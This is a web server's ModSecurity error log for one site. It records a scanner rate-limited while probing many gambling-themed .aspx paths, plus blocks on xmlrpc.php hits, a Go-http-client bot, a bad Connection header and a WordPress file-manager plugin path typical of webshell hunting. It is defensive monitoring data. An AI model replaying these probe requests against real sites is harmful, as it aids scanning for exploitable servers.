[Mon Feb 02 16:42:46.834005 2026] [:error] [pid 56989:tid 56992] [client 147.135.213.175:35326] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aYBjhkp44HnChN-GZljVGQAAAgE"]
[Mon Feb 02 16:42:48.874866 2026] [:error] [pid 63034:tid 63125] [client 147.135.213.175:43762] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aYBjiOKXlgw75_wfbHqxhQAAAIc"]
[Mon Feb 02 16:42:50.820628 2026] [:error] [pid 63034:tid 63141] [client 147.135.213.175:43768] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aYBjiuKXlgw75_wfbHqxiAAAAJc"]
[Mon Feb 02 16:42:52.867349 2026] [:error] [pid 56989:tid 57006] [client 147.135.213.175:43770] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "aYBjjEp44HnChN-GZljVHwAAAg8"]
[Mon Feb 02 16:42:55.006670 2026] [:error] [pid 57081:tid 57137] [client 147.135.213.175:43776] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aYBjj2vouJ2Jkm6HfBgSVgAAAxY"]
[Mon Feb 02 16:42:56.985354 2026] [:error] [pid 46008:tid 46026] [client 147.135.213.175:43784] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aYBjkCRa52iYn7SlSMl8FAAAAU8"]
[Mon Feb 02 16:42:58.995679 2026] [:error] [pid 57081:tid 57116] [client 147.135.213.175:58252] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aYBjkmvouJ2Jkm6HfBgSXAAAAwE"]
[Mon Feb 02 16:43:01.130985 2026] [:error] [pid 63032:tid 63072] [client 147.135.213.175:58264] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aYBjlXyEQ1PkpebvdRi1tgAAAAk"]
[Mon Feb 02 16:43:03.240770 2026] [:error] [pid 57081:tid 57121] [client 147.135.213.175:58270] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aYBjl2vouJ2Jkm6HfBgSYQAAAwY"]
[Mon Feb 02 16:43:05.369157 2026] [:error] [pid 57022:tid 57063] [client 147.135.213.175:58276] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aYBjmRnEgLMzfcurxfknuQAAAos"]
[Mon Feb 02 16:43:07.470536 2026] [:error] [pid 57021:tid 57025] [client 147.135.213.175:58286] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aYBjm_7AEpx7VcmYK3HZKAAAAkA"]
[Mon Feb 02 16:43:09.425837 2026] [:error] [pid 63034:tid 63133] [client 147.135.213.175:37330] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aYBjneKXlgw75_wfbHqxlgAAAI8"]
[Mon Feb 02 16:43:11.342630 2026] [:error] [pid 56989:tid 56991] [client 147.135.213.175:37342] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aYBjn0p44HnChN-GZljVJwAAAgA"]
[Mon Feb 02 16:43:13.350256 2026] [:error] [pid 56989:tid 57011] [client 147.135.213.175:37358] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aYBjoUp44HnChN-GZljVKwAAAhQ"]
[Mon Feb 02 16:43:15.313960 2026] [:error] [pid 56989:tid 57015] [client 147.135.213.175:37370] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aYBjo0p44HnChN-GZljVMQAAAhg"]
[Mon Feb 02 16:43:17.439821 2026] [:error] [pid 57022:tid 57054] [client 147.135.213.175:37386] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aYBjpRnEgLMzfcurxfknwQAAAoI"]
[Mon Feb 02 16:43:19.339838 2026] [:error] [pid 63153:tid 63168] [client 147.135.213.175:55332] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aYBjp3C9GXHnmLkdgdlN9QAAAMc"]
[Mon Feb 02 16:43:21.240899 2026] [:error] [pid 63153:tid 63174] [client 147.135.213.175:55344] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aYBjqXC9GXHnmLkdgdlN9gAAAM0"]
[Mon Feb 02 16:43:23.167178 2026] [:error] [pid 57022:tid 57056] [client 147.135.213.175:55356] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aYBjqxnEgLMzfcurxfknxgAAAoQ"]
[Mon Feb 02 16:43:25.063420 2026] [:error] [pid 57081:tid 57125] [client 147.135.213.175:55360] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aYBjrWvouJ2Jkm6HfBgSagAAAwo"]
[Mon Feb 02 16:43:27.137907 2026] [:error] [pid 57081:tid 57137] [client 147.135.213.175:55372] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aYBjr2vouJ2Jkm6HfBgSbAAAAxY"]
[Mon Feb 02 16:43:29.218052 2026] [:error] [pid 57022:tid 57052] [client 147.135.213.175:38008] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aYBjsRnEgLMzfcurxfknygAAAoA"]
[Mon Feb 02 16:43:31.127658 2026] [:error] [pid 63153:tid 63175] [client 147.135.213.175:38022] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aYBjs3C9GXHnmLkdgdlN_QAAAM4"]
[Mon Feb 02 16:43:33.192050 2026] [:error] [pid 56989:tid 57000] [client 147.135.213.175:38030] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aYBjtUp44HnChN-GZljVRwAAAgk"]
[Mon Feb 02 16:44:09.227729 2026] [:error] [pid 57022:tid 57058] [client 147.135.213.175:38042] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aYBj2RnEgLMzfcurxfkn7QAAAoY"]
[Mon Feb 02 16:44:11.211162 2026] [:error] [pid 56989:tid 57015] [client 147.135.213.175:41434] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aYBj20p44HnChN-GZljVbwAAAhg"]
[Mon Feb 02 16:44:13.244052 2026] [:error] [pid 56989:tid 56992] [client 147.135.213.175:41450] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aYBj3Up44HnChN-GZljVdQAAAgE"]
[Mon Feb 02 16:44:15.116483 2026] [:error] [pid 56989:tid 57008] [client 147.135.213.175:41458] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aYBj30p44HnChN-GZljVgAAAAhE"]
[Mon Feb 02 16:44:17.148894 2026] [:error] [pid 63034:tid 63125] [client 147.135.213.175:41464] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aYBj4eKXlgw75_wfbHqx0gAAAIc"]
[Mon Feb 02 16:44:19.037742 2026] [:error] [pid 57080:tid 57111] [client 147.135.213.175:43846] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aYBj449Utn0ZlfnF10M5VwAAAtg"]
[Mon Feb 02 16:44:20.933944 2026] [:error] [pid 57081:tid 57129] [client 147.135.213.175:43854] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aYBj5GvouJ2Jkm6HfBgSngAAAw4"]
[Mon Feb 02 16:44:22.949978 2026] [:error] [pid 46008:tid 46023] [client 147.135.213.175:43858] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aYBj5iRa52iYn7SlSMl8RQAAAUw"]
[Mon Feb 02 16:44:24.985330 2026] [:error] [pid 57081:tid 57138] [client 147.135.213.175:43872] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aYBj6GvouJ2Jkm6HfBgSpQAAAxc"]
[Mon Feb 02 16:44:26.876373 2026] [:error] [pid 57081:tid 57122] [client 147.135.213.175:43876] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aYBj6mvouJ2Jkm6HfBgSqQAAAwc"]
[Mon Feb 02 16:44:28.901055 2026] [:error] [pid 63034:tid 63139] [client 147.135.213.175:33826] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aYBj7OKXlgw75_wfbHqx2QAAAJU"]
[Mon Feb 02 16:44:30.785942 2026] [:error] [pid 57080:tid 57101] [client 147.135.213.175:33832] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aYBj7o9Utn0ZlfnF10M5XwAAAs4"]
[Mon Feb 02 16:44:32.815850 2026] [:error] [pid 33612:tid 33628] [client 147.135.213.175:33840] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aYBj8MtFn80qQEmo5QrdwwAAAQ4"]
[Mon Feb 02 16:44:34.699235 2026] [:error] [pid 63032:tid 63081] [client 147.135.213.175:33854] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aYBj8nyEQ1PkpebvdRi1_wAAABI"]
[Mon Feb 02 16:44:36.723977 2026] [:error] [pid 57021:tid 57049] [client 147.135.213.175:33870] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aYBj9P7AEpx7VcmYK3HZZAAAAlg"]
[Mon Feb 02 16:44:38.617018 2026] [:error] [pid 63032:tid 63078] [client 147.135.213.175:53170] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aYBj9nyEQ1PkpebvdRi2AAAAAA8"]
[Mon Feb 02 16:44:40.520386 2026] [:error] [pid 63153:tid 63172] [client 147.135.213.175:53178] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aYBj-HC9GXHnmLkdgdlOPwAAAMs"]
[Mon Feb 02 16:44:42.540536 2026] [:error] [pid 57022:tid 57071] [client 147.135.213.175:53182] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aYBj-hnEgLMzfcurxfkoBQAAApM"]
[Mon Feb 02 16:44:44.432943 2026] [:error] [pid 56989:tid 57011] [client 147.135.213.175:53194] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aYBj_Ep44HnChN-GZljVkgAAAhQ"]
[Mon Feb 02 16:44:46.327903 2026] [:error] [pid 56989:tid 57012] [client 147.135.213.175:53210] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aYBj_kp44HnChN-GZljVmQAAAhU"]
[Mon Feb 02 16:44:48.374377 2026] [:error] [pid 57081:tid 57128] [client 147.135.213.175:41322] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aYBkAGvouJ2Jkm6HfBgSuAAAAw0"]
[Mon Feb 02 16:44:50.254697 2026] [:error] [pid 46008:tid 46012] [client 147.135.213.175:41334] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aYBkAiRa52iYn7SlSMl8UwAAAUI"]
[Mon Feb 02 16:44:52.297576 2026] [:error] [pid 57022:tid 57052] [client 147.135.213.175:41348] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "aYBkBBnEgLMzfcurxfkoCgAAAoA"]
[Mon Feb 02 16:44:54.238179 2026] [:error] [pid 57021:tid 57034] [client 147.135.213.175:41364] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "aYBkBv7AEpx7VcmYK3HZcgAAAkk"]
[Mon Feb 02 16:44:56.297794 2026] [:error] [pid 56989:tid 56992] [client 147.135.213.175:41374] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "aYBkCEp44HnChN-GZljVrgAAAgE"]
[Mon Feb 02 16:44:58.417282 2026] [:error] [pid 33612:tid 33621] [client 147.135.213.175:45858] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "aYBkCstFn80qQEmo5Qrd2wAAAQc"]
[Mon Feb 02 16:45:00.452664 2026] [:error] [pid 56989:tid 57007] [client 147.135.213.175:45860] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "aYBkDEp44HnChN-GZljVvQAAAhA"]
[Mon Feb 02 17:58:50.424676 2026] [:error] [pid 63034:tid 63118] [client 192.241.176.150:36046] [client 192.241.176.150] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.241.176.150, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYB1WuKXlgw75_wfbHrBdwAAAIA"]
[Mon Feb 02 19:21:35.807845 2026] [:error] [pid 56989:tid 57003] [client 104.28.161.183:11236] [client 104.28.161.183] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aYCIv0p44HnChN-GZlj_sgAAAgw"]
[Mon Feb 02 20:24:13.924850 2026] [:error] [pid 57022:tid 57053] [client 43.153.48.240:44866] [client 43.153.48.240] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aYCXbRnEgLMzfcurxflLawAAAoE"]
[Mon Feb 02 20:33:14.487996 2026] [:error] [pid 56989:tid 56991] [client 20.210.160.92:22174] [client 20.210.160.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aYCZikp44HnChN-GZlgQkgAAAgA"]
